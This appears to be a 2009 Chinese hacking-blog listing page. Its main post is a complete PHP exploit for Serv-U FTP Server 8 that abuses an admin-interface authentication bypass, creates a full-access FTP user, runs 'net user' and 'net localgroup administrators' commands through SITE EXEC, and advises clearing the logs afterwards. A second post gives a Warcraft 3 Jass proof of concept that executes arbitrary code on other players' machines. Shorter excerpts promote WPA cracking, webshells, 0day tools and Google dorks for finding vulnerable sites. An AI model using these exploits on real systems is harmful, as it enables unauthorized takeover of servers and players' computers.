Serv-U FTP Server v8 本地提权

August 11, 2009 Views
Comments 0

作者:空虚浪子心

发布日期:2009-08-05
更新日期:2009-08-05

受影响系统:
serv-u8

不受影响系统:
其他版本不受影响

描述:
看cnbeta发现su出8这个版本了。
想想以前写过一个7的本地提权。
不知道8有什么安全方面的更改。
下载来研究下,发现居然还是可以提权的,只是su7的那个不能直接用,稍微修改了下执行的流程。

Su8的管理平台是http的,继承了su7的方式。
抓包,分析,发现了以下路程是可以利用的。
1, 管理员从管理控制台打开web页面时,是不需要验证密码的。
2, 管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3, 管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。
4, 管理员添加了用户的这个包和设置权限这个包,是分开的。
所以,我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆,exec命令。达到提权。

前面su7已经说了很多,这里简单的说下好了。
.....登陆什么的。
1,获取ID。
2,给这个id添加权限。
3,给这个id赋予用户名,密码,目录,权限。
4,登陆后执行系统命令。

这段代码是不能直接当工具使用的。

<*来源:kxlzx(www.inbreak.net
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?/*serv-u 8 local exp ver 1.0如果你在自己的服务器上发现这个文件,厄。。。那太遗憾了,别来找我。这个文件到处都是,人人都能拿到。*/?><html><title>Serv-u 8 local exp ver 1.0</title><body><script>function fun_showDiv(show){document.getElementById(show).style.display="block";}</script><b>Serv-u 8 local exp ver 1.0</b><form id="form1" name="form1" method="post" action="?"><p><a href="#" onclick="fun_showDiv('adminpassdiv')">管理员密码</a><input type="text" name="admin_pwd" value="" /></p><p>直接提权!<input type="submit" name="cmd" value="提权" /><a href="#" onclick="fun_showDiv('QAdiv')">QA</a></p><pre><?//Global var$port=43958;$host="127.0.0.1";$sessionid="";$getuserid="";$ftpport=21;$ftpuser="lalala_hacked";$ftppwd=$_POST['admin_pwd'];$exec_addUser="site exec c:/windows/system32/net.exe user ".$ftpuser." ".$ftppwd." /add";$exec_addGroup="site exec c:/windows/system32/net.exe localgroup administrators ".$ftpuser."  /add";if($_POST['cmd']) {//login-----------------------------------------$sock_login = fsockopen($host, $port);$URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';$post_data_login['user'] = "";$post_data_login['pword'] = $ftppwd;$post_data_login['language'] = "zh%2CCN&";$ref="http://".$host.":".$port."/?Session=39893&Language=zh,CN&LocalAdmin=1";$postStr = createRequest($port,$host,$URL,$post_data_login,$sessionid,$ref);fputs($sock_login, $postStr);$result = fread($sock_login, 1280);$sessionid = getmidstr("<sessionid>","</sessionid>",$result);if ($sessionid!="")echo "登陆成功!";fclose($sock_login);//login-----------------------------------------//getOrganizationId-------------------------------$OrganizationId="";$sock_OrganizationId = fsockopen($host, $port);$URL='/Admin/ServerUsers.htm?Page=1';$postStr = createRequest($port,$host,$URL,"",$sessionid,"");fputs($sock_OrganizationId, $postStr);$resultOrganizationId="";while(!feof($sock_OrganizationId)) {$result = fread($sock_OrganizationId, 1024);$resultOrganizationId=$resultOrganizationId.$result;}$strTmp = "OrganizationUsers.xml&ID=";$OrganizationId = substr($resultOrganizationId,strpos($resultOrganizationId,$strTmp)+strlen($strTmp),strlen($strTmp)+15);$OrganizationId = substr($OrganizationId,0,strpos($OrganizationId,"\""));fclose($sock_OrganizationId);if ($OrganizationId!="")echo "获取OrganizationId".$OrganizationId."成功!";//getOrganizationId-------------------------------//getuserid---------------------------------------$getuserid="";$sock_getuserid = fsockopen($host, $port);$URL="/Admin/XML/User.xml?Command=AddObject&Object=COrganization.".$OrganizationId.".User&Temp=1&Sync=546666666666666663";$ref="http://".$host.":".$port."/Admin/ServerUsers.htm?Page=1";$post_data_getuserid="";$postStr = createRequest($port,$host,$URL,$post_data_getuserid,$sessionid,$ref);fputs($sock_getuserid, $postStr);$result = fread($sock_getuserid, 1280);$result = getmidstr("<var name=\"ObjectID\" val=\"","\" />",$result);fclose($sock_getuserid);$getuserid = $result;if ($getuserid!="")echo "获取用户ID".$getuserid."成功!";//getuserid---------------------------------------//addpower-----------------------------------------$sock_addpower = fsockopen($host, $port);$URL="/Admin/XML/Result.xml?Command=AddObject&Object=CUser.".$getuserid.".DirAccess&Sync=1227081437828";$post_data_addpower['Access'] = "7999";$post_data_addpower['MaxSize'] = "0";$post_data_addpower['Dir'] = "c:\\";$post_data_addpower['undefined'] = "undefined";$postStr = createRequest($port,$host,$URL,$post_data_addpower,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");fputs($sock_addpower, $postStr,strlen($postStr));$result = fread($sock_addpower, 1280);fclose($sock_addpower);echo "添加权限成功!";//addpower-----------------------------------------//adduser-----------------------------------------$sock_adduser = fsockopen($host, $port);$URL="/Admin/XML/Result.xml?Command=UpdateObject&Object=COrganization.".$OrganizationId.".User.".$getuserid."&Sync=1227071190250";$post_data_adduser['LoginID'] = $ftpuser;$post_data_adduser['FullName'] = "";$post_data_adduser['Password'] = 'hahaha';$post_data_adduser['ComboPasswordType'] = "%E5%B8%B8%E8%A7%84%E5%AF%86%E7%A0%81";$post_data_adduser['PasswordType'] = "0";$post_data_adduser['ComboAdminType'] = "%E6%97%A0%E6%9D%83%E9%99%90";$post_data_adduser['AdminType'] = "";$post_data_adduser['ComboHomeDir'] = "/c:";$post_data_adduser['HomeDir'] = "/c:";$post_data_adduser['ComboType'] = "%E6%B0%B8%E4%B9%85%E5%B8%90%E6%88%B7";$post_data_adduser['Type'] = "0";$post_data_adduser['ExpiresOn'] = "0";$post_data_adduser['ComboWebClientStartupMode'] = "%E6%8F%90%E7%A4%BA%E7%94%A8%E6%88%B7%E4%BD%BF%E7%94%A8%E4%BD%95%E7%A7%8D%E5%AE%A2%E6%88%B7%E7%AB%AF";$post_data_adduser['WebClientStartupMode'] = "";$post_data_adduser['LockInHomeDir'] = "0";$post_data_adduser['Enabled'] = "1";$post_data_adduser['AlwaysAllowLogin'] = "1";$post_data_adduser['Description'] = "";$post_data_adduser['IncludeRespCodesInMsgFiles'] = "";$post_data_adduser['ComboSignOnMessageFilePath'] = "";$post_data_adduser['SignOnMessageFilePath'] = "";$post_data_adduser['SignOnMessage'] = "";$post_data_adduser['SignOnMessageText'] = "";$post_data_adduser['ComboLimitType'] = "%E8%BF%9E%E6%8E%A5";$post_data_adduser['LimitType'] = "Connection";$post_data_adduser['QuotaBytes'] = "0";$post_data_adduser['Quota'] = "0";$post_data_adduser['Access'] = "7999";$post_data_adduser['MaxSize'] = "0";$post_data_adduser['Dir'] = "%25HOME%25";$postStr = createRequest($port,$host,$URL,$post_data_adduser,$sessionid,"http://127.0.0.1".":".$port."/Admin/ServerUsers.htm?Page=1");fputs($sock_adduser, $postStr,strlen($postStr));$result = fread($sock_adduser, 1280);fclose($sock_adduser);echo "添加用户成功!";//adduser-----------------------------------------//exec-------------------------------$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);$recvbuf = fgets($sock_exec, 1024);$sendbuf = "USER ".$ftpuser."";fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fgets($sock_exec, 1024);$sendbuf = "PASS hahaha";fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fgets($sock_exec, 1024);$sendbuf = $exec_addUser."";fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fread($sock_exec, 1024);echo "执行".$exec_addUser."返回了$recvbuf";fclose($sock_exec);$sock_exec = fsockopen("127.0.0.1", $ftpport, &$errno, &$errstr, 10);$recvbuf = fgets($sock_exec, 1024);$sendbuf = "USER ".$ftpuser."";fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fgets($sock_exec, 1024);$sendbuf = "PASS hahaha";fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fgets($sock_exec, 1024);$sendbuf = $exec_addGroup."";fputs($sock_exec, $sendbuf, strlen($sendbuf));$recvbuf = fread($sock_exec, 1024);echo "执行".$exec_addGroup."返回了$recvbuf";fclose($sock_exec);echo "好了,自己3389上去清理ftp用户日志吧!";//exec-------------------------------}/** function createRequest@port_post : administrator port $port=43958;@host_post : host $host="127.0.0.1";@URL_post : target $URL='/Web%20Client/Login.xml?Command=Login&Sync=1543543543543543';@post_data_post : arraylist $post_data['user'] = "";...@return httprequest string*/function createRequest($port_post,$host_post,$URL_post,$post_data_post,$sessionid,$referer){$data_string="";if ($post_data_post!=""){foreach($post_data_post as $key=>$value){$values[]="$key=".urlencode($value);}$data_string=implode("",$values);}$request.="POST ".$URL_post." HTTP/1.1";$request.="Host: ".$host_post."";$request.="Referer: ".$referer."";$request.="Content-type: application/x-www-form-urlencoded";$request.="Content-length: ".strlen($data_string)."";$request.="User-Agent: Serv-U";$request.="x-user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";$request.="Accept: */*";$request.="Cache-Contro: no-cache";$request.="UA-CPU: x86";if ($sessionid!=""){$request.="Cookie: Session=".$sessionid."";}$request.="";$request.=$data_string."";return $request;}//getMidfor2str copy from internetfunction getmidstr($L,$R,$str){$int_l=strpos($str,$L);$int_r=strpos($str,$R);If ($int_l>-1&&$int_l>-1){$str_put=substr($str,$int_l+strlen($L),($int_r-$int_l-strlen($L)));return $str_put;}elsereturn "没找到需要的变量";}?></pre></form><div id="adminpassdiv" style="display:none"><pre>默认为空,如果密码为空,<b>填什么都能进去。</b>如果修改过,管理员密码默认会在这里:<b>C:\Program Files\RhinoSoft.com\Serv-U\Users\Local Administrator Domain\.Archive</b>文件中找到一个MD5密码值。C:\Program Files\RhinoSoft.com\Serv-U是su的根目录。密码值的样式为(假设是123456)kx########################代表123456的32位MD5加密,而kx则是su对md5的密码算法改进的随机2位字符。破解后的密码为<b>kx</b>123456,去掉kx就是密码了。你可以针对这个加密生成字典。</pre></div><div id="QAdiv" style="display:none"><pre><b>提权的原理?</b>Su8的管理平台是http的,继承了su7的方式。抓包,分析,发现了以下路程是可以利用的。1,  管理员从管理控制台打开web页面时,是不需要验证密码的。2,  管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”3,  管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。4,  管理员添加了用户的这个包和设置权限这个包,是分开的。所以,我可以抓包然后转换成php的socket连接post出去。最后在用经典的ftp登陆,exec命令。达到提权。前面su7已经说了很多,这里简单的说下好了。.....登陆什么的。1,获取ID。2,给这个id添加权限。3,给这个id赋予用户名,密码,目录,权限。4,登陆后执行系统命令。<b>为啥我明明显示成功了,但是却提不上去?</b>这要看错误代码了,这里偶很惭愧,并没有写详细的错误代码判断。一般有以下几种情况:1,可能是因为管理员密码不对。参照管理员密码的连接。2,可能是因为管理员限制了执行SITE EXEC。有待程序修改,程序可以加一个让他不限制的功能。3,可能是程序问题。</pre></div></body></html>

建议:
目前厂商没有任何补丁,要不大家再等等?
不过以前SU7本地溢出推出来,也没见到什么动静。-_-!
先把本地管理密码改复杂点应付着吧。
Tags: Serv-U, 提权

阅读全文网络安全

各大游戏高危漏洞(魔兽争霸、反恐精英)

August 11, 2009 Views
Comments 0

# 鬼仔:这个洞貌似很早以前就出了,暴雪也已经出了补丁,但是
ring04h:暴雪在1.24上,做出了修复工作,但是国内的完全全部都徘徊在1.20版,谁都不会去更新。 对于国内玩家,这个漏洞利用率能够稳定在90%上。

作者:ring04h

War3 Jass虚拟机经测试,存在严重漏洞!允许运行时动态创建并执行任意机器码
Jass属于War3为地图开发者提供的一套脚本语言,方便开发者开发或建立修改属于自己的地图。
经过推断,CS (cstrike)可能也存在此类问题。

利用方式:登陆浩方或者VS对战平台,修改某张地图(例如DOTA的地图),开启游戏,等待其他玩家进入,开始游戏,即可执行任意机器码,控制玩家计算机。

Jass语言的用处
Jass(正确地说是Jass2)是魔兽3的脚本语言, 用于控制地图的进程和行为, 是魔兽游戏和地图的基础. 正常的地图编辑中摆放的单位(Unit), 设置的触发(Trigger)等最终都会被翻译成Jass语言存在地图文件里在游戏时被调用.

POC:

set bj_meleeTwinkedHeroes[1024] = 0x90909090
set bj_meleeTwinkedHeroes[1025] = 0x90909090 //and other bytecode giberish.
...

local code C = I2Code( code2I(function GetRandomDirectionDeg) + 0xC92D8 )

call TriggerAddAction(t, C)
call TriggerExecute(t)

//It will run whatever bytecode 90 90 90 90 means

function main takes nothing returns nothing
set t = CreateTrigger()
call TriggerAddAction(t, i2code(0x00929217) )
a[0]=0x45623512
a[1]=0x34562323
a[2]=0x62329301
...
//other thousand lines of this
...
b[0]=0x12312333
endfunction

上图:

War3_Jass
文章标题加上了by ring04h,是说明ring04h将对以上的言论负责,其它稍后再编辑详情,上POC!

阅读全文网络安全

WPA终结梦魇----GPU运算之高速破解WPA-PSK加密实战 - [Wireless Hack]

July 18, 2009 Views
Comments 0

作者:longas

现在很多朋友都在学习和研究WPA的破解及WPA PMK Hash破解,关于WPA PMK Hash的创建及使用,我已经在《无线网络安全攻防实战》一书中给出详细操作实例,并且为了给大家提供一个练手的机会,ZerOne安全团队无线安全组也在广州安全交流会上无偿提供给大家高达4.3GB的WPA PMK Hash Table DVD光盘镜像下载(大家可到Anywlan论坛或者我的Blog查看下载地址),呵呵,虽然也受到了一些莫名其妙的指责。但是作为高速破解的途径来说,从一开始,就不止Hash这一种方法,这里我要讲述的就是在未来几年内将会成为主流的破解方法---GPU运算破解。

关于GPU运算用于无线安全领域,ZerOne安全团队无线安全组已经于2008年中展开自主研发,并已取得一些成果,本文为引导更多朋友了解此类技术所写的基础工具型破解教程,望同一方向的朋友能和我联系,欢迎大家的交流。
好了话不多说,单机环境下只要配合合适的显卡,速度可以飙升到1万以上,若是性能优异的显卡可达到5万甚至更高。关于此类工具的详细安装、操作、破解、问题解答、软件下载内容我已经全部整理成基础破解教程,提供给大家下载。

文中涉及软件:Elcomsoft Wireless Security Auditor(简称为EWSA)

软件版本:v1.0.0.133版

支持系统:Windows 2000/XP/2003/Vista/2008

软件下载:http://www.elcomsoft.com/ewsa.html

--------------------------------------------------------------

详细长达11页的GPU运算破解WPA-PSK实战操作教程,下载地址如下

http://www.box.net/shared/ygjeeim9ms

GPU相关软件EWSA及注册机下载地址如下

http://www.box.net/shared/h2n1mnhgqq

阅读全文网络安全

xKungFoo上的无线安全破解专用WPA-PSK Hash Table DVD下载

May 3, 2009 Views
Comments 0
版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明http://bigpack.blogbus.com/logs/31359696.html此次由ZerOne安全团队制作的无线安全破解专用DVD光盘,其中包含的WPA 破解 Hash Table已全部经过测试可用,

asp-webshell

May 3, 2009 Views
Comments 0
作者:skyfire[B.H.S.T]隐藏并修改文件的最后修改时间的asp-webshell。源码:

阅读全文网络安全ASP  WebShell  修改时间  

内网渗透利器--reDuh(webshell跳板)简单使用说明

May 3, 2009 Views
Comments 0
国外大牛的作品,E文好的看原文 http://www.sensepost.com/research/reDuh/这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

阅读全文网络安全reDuh  WebShell  

PJblog V3.0 0day Vbs版漏洞利用工具

May 3, 2009 Views
Comments 0
来源:WEB安全手册作者:雨中风铃漏洞具体细节请看http://0kee.com/read.php?tid-908.html,具体代码如下:

阅读全文网络安全0day  Exploit  PJBlog  VBS  

一个监视终端登陆的批处理文件

May 3, 2009 Views
Comments 0
作者:Netpatch来源:WEB安全手册主要用于在登陆肉鸡终端的时候,放哨用的。一旦有人连接终端端口(默认端口3389),就发声报警,并对对方是否登陆进行监控。

S60手机漏洞

May 3, 2009 Views
Comments 0
公告 https://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-advisory.txthttp://www.sebug.net/exploit/5509/演示视频 https://berlin.ccc.de/~tobias/cos/s60-curse-of-silence-demo.avi攻击方法:

阅读全文网络安全S60短信漏洞  

动易SiteWeaver6.6版最新漏洞利用工具

May 3, 2009 Views
Comments 0
动易SiteWeaver6.6版最新漏洞利用工具

Ewebeditor最新漏洞及漏洞大全[收集|转载]

April 26, 2009 Views
Comments 0
以下文章收集转载于网络:) 算是比较全面的ewebeditor编辑器的漏洞收集,现在的网站大多数用的都是ewebeditor编辑器,所以ewebeditor漏洞的危害性还是相当大的,做了一下漏洞收集,漏洞修补的方法可去网上查找。漏洞更新日期TM: 2009 2 9日 转自zake'S Blog ewebeditor最新漏洞。这个程序爆漏洞一般都是直接上传的漏洞,首先在本地搭建一个ASP环境重命名一个木马名字例如:1.gif.asp这样的就OK了

GOOGLE拿站关键字

April 26, 2009 Views
Comments 0

GOOGLE拿站关键字

关键字:Power WenDay Ver1.0 添加: /db/PW_SYS_Data.mdb 关键字:powered by WEBBOY 添加: /upfile.asp 关键字:Powered By :SMT Version 5.0

阅读全文网络安全

[转]破解禁止SSID广播

December 25, 2007 Views
Comments 0
     在转载这篇文章前先提供一下NetStumbler v0.4 汉化第三版下载,网上很多人在找这个软件的汉化版本,找了很久才找到,下载地址:http://www.redwolf.cn/soft/HA-NetStumble_04fix3-FzH.rar (重要修正:添加了前两汉化版中没有打包的无线网卡 NDIS 驱动,很多用户无法使用此软件的原因即在此)
破解禁止SSID广播

其实这个试验结果早在过年的时候就会出来了,DELL新本本不...

阅读全文网络安全无线网络  

[转]BackTrack2下破解无线WPA-PSK加密实战

December 21, 2007 Views
Comments 0
最近在公司大楼设置无线网络,经一二天的调试已差不多达到理想效果,正好在防线上看到zerone的这篇无线网络密码破解文章,写的不错转过来学习一下, 同时提供一下最新的BackTrack 3 Beta 下载地址:http://www.remote-exploit.org/backtrack_download.html
文/图作者:Christopher  Yang   [ZerOne]

 









---转载请...

phpwind 5.X 0day 利用工具!

April 6, 2007 Views
Comments 0
火狐核心成员lvhuana兄出的phpwind 5.X 0day 利用工具! 现在官方还未发布补丁!第一时间测试了下,
90%的phpwind 5.x 的论坛都存在此漏洞!
利用工具下载:pw5expgui.zip  使用方法非常简单.
另转下phpwind 从后台拿webshell的三种方式
方式1 模板法 进入后台, 风格模版设置 ,在随便一行写代码 记住,这代码必须顶着左边行写,代码前面不可以有任何字符。 EOT; eval($a); print << 例如...

阅读全文网络安全0day  

分页:[«]1[2][3][»]